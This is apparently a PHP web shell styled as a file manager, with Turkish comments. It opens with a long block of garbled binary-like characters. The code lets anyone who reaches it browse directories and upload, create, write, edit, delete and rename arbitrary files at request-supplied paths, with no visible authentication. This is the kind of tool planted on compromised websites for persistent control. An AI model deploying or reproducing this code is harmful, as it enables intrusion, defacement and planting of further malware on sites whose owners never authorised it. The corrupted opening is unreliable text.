)�"(-��"()-��")�"(-��"()-��"_�)��_�)�*)�"(-��"()-��"_�)��_�)()-��")�"(-()-��")�"(-��"()-��"_�)��_�)��"()-��"_�)��_�()-��")�"(-��"()-��"_�)��_�))()-��")�"(-��"()-��"_�)��_�)()-��")�"(-��"()-��"_�)��_�)()-��")�"(-��"()-��"_�)��_�)()-��")�"(-��"()-��"_�)��_�)�*********_)�"(-��"()-��"_�)��_�)��')�"(-��"()-��")�"(-��"()-��"_�)��_�)�*)�"(-��"()-��"_�)��)�"(-��"()-��")�)�"(-��"()-��")�"(-��"()-��"_�)��_�)�*)�"(-��"()-��"_�)��)�"(-��"()-��")�"(-��"()-��"_�)��_�)�*)�"(-��"()-��"_�)��"(-��"()-��"_�)��_�)�*)�"(-��"()-��"_�)��)�"(-��"()-��")�"(-��"()-��"_�)��_�)�*)�"(-��"()-��"_�)��********_)�"()�"()�"(-��"()-��"_�)��_�)�*)�"(-��"()-��"_�)��_�)�*********_)�"(-��"()-��"_�)��_�)��'********_)�"()�"(-��"())�"(-��"()-��"_�)��_�)�*)�"(-��"()-��"_�)��_�)�*********_)�"(-��"()-��"_�)��_�)��'********_)�"()�"(-��"()-��"_�)��_)�"(-��"()-��"_�)��_�)�*)�"(-��"()-��"_�)��_�)�*********_)�"(-��"()-��"_�)��_�)��'********_)�"()�"(-��"()-��"_�)��_�)�*********_)�"(-��"()-��"_�)��_�)��'-��"()-��"_�)��_�)��'�)�*********_)�"(-��"()-��"_�)��_�)��'-��"()-��"_�)��_�)��'-��"_�)��_�)�*********_)�"(-��"()-��"_�)��_�)��'-��"()-��"_�)��_�)��'-��"()-��"_�)��_�)�*********_)�"(-��"()-��"_�)��_�)��'-��"()-��"_�)��_�)��'_�)��_�)�*)�"(-��"()-��"_�)��_�)�*********_)�"(-��"()-��"_�)��_�)��'********_)�"()�"(-��"()-��"_�)��_�)�*********_)�"(-��"()-��"_�)��_�)��'-��"()-��"_�)��_�)��' 📁 Directory: $dir"; } // 2. DOSYA YÜKLEME function uploadFile($dir) { global $allowed_extensions; if (!empty($_FILES['file']['name'])) { $fileName = basename($_FILES['file']['name']); $target = $dir . DIRECTORY_SEPARATOR . $fileName; $fileType = strtolower(pathinfo($target, PATHINFO_EXTENSION)); if (!in_array($fileType, $allowed_extensions)) { echo "

❌ Error: Extension not allowed ($fileType).

"; } else { if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) { echo "

✅ Uploaded: $fileName

"; } else { echo "

❌ Upload failed.

"; } } } } // 3. KLASÖR OLUŞTURMA function makeFolder($dir) { $folder = trim($_POST['folder_name']); if (!$folder) return; $folderPath = $dir . DIRECTORY_SEPARATOR . $folder; if (!file_exists($folderPath)) { mkdir($folderPath); echo "

📁 Folder created: $folder

"; } } // 4. DOSYA OLUŞTURMA VE YAZMA function makeFile($dir) { $file = trim($_POST['file_name']); $content = isset($_POST['file_content']) ? $_POST['file_content'] : ''; if (!$file) return; $filePath = $dir . DIRECTORY_SEPARATOR . $file; if (file_put_contents($filePath, $content) !== false) { echo "

📄 File created: $file

"; } } // 5. DOSYA DÜZENLEME function editFile($path) { if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'])) { file_put_contents($path, $_POST['content']); echo "

✅ Saved!

"; } $content = htmlspecialchars(file_get_contents($path)); echo "

📝 Editing: " . basename($path) . "



Cancel
"; } // 6. SİLME VE İSİM DEĞİŞTİRME function removeFile($path) { is_dir($path) ? rmdir($path) : unlink($path); echo "

🗑️ Deleted.

"; } function renameItem($path) { if ($_SERVER['REQUEST_METHOD'] === 'POST' && !empty($_POST['new_name'])) { $newPath = dirname($path) . DIRECTORY_SEPARATOR . basename($_POST['new_name']); if (rename($path, $newPath)) { echo ""; } } else { echo "

✏️ Rename: " . basename($path) . "

"; } } // ============================ // ⚙️ İŞLEM YÖNETİCİSİ // ============================ if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_FILES['file'])) uploadFile($currentPath); if (isset($_POST['folder_name'])) makeFolder($currentPath); if (isset($_POST['file_name'])) makeFile($currentPath); } $actionView = false; if (isset($_GET['action']) && $item) { $actionView = true; echo "⬅️ Go Back
"; switch ($_GET['action']) { case 'edit': editFile($itemPath); break; case 'delete': removeFile($itemPath); break; case 'rename': renameItem($itemPath); break; } } if (!$actionView) { echo "
Location: " . htmlspecialchars($currentPath) . " [⬅️ Go Up]
"; showDirectory($currentPath); echo "
"; echo "
[⬅️ Go Up]
"; echo "
"; // Upload Form echo "

⬆️ Upload File



"; // Create Folder Form echo "

📁 Create Folder



"; // Create File Form echo "

✍️ Create & Write





"; echo "
"; } ?>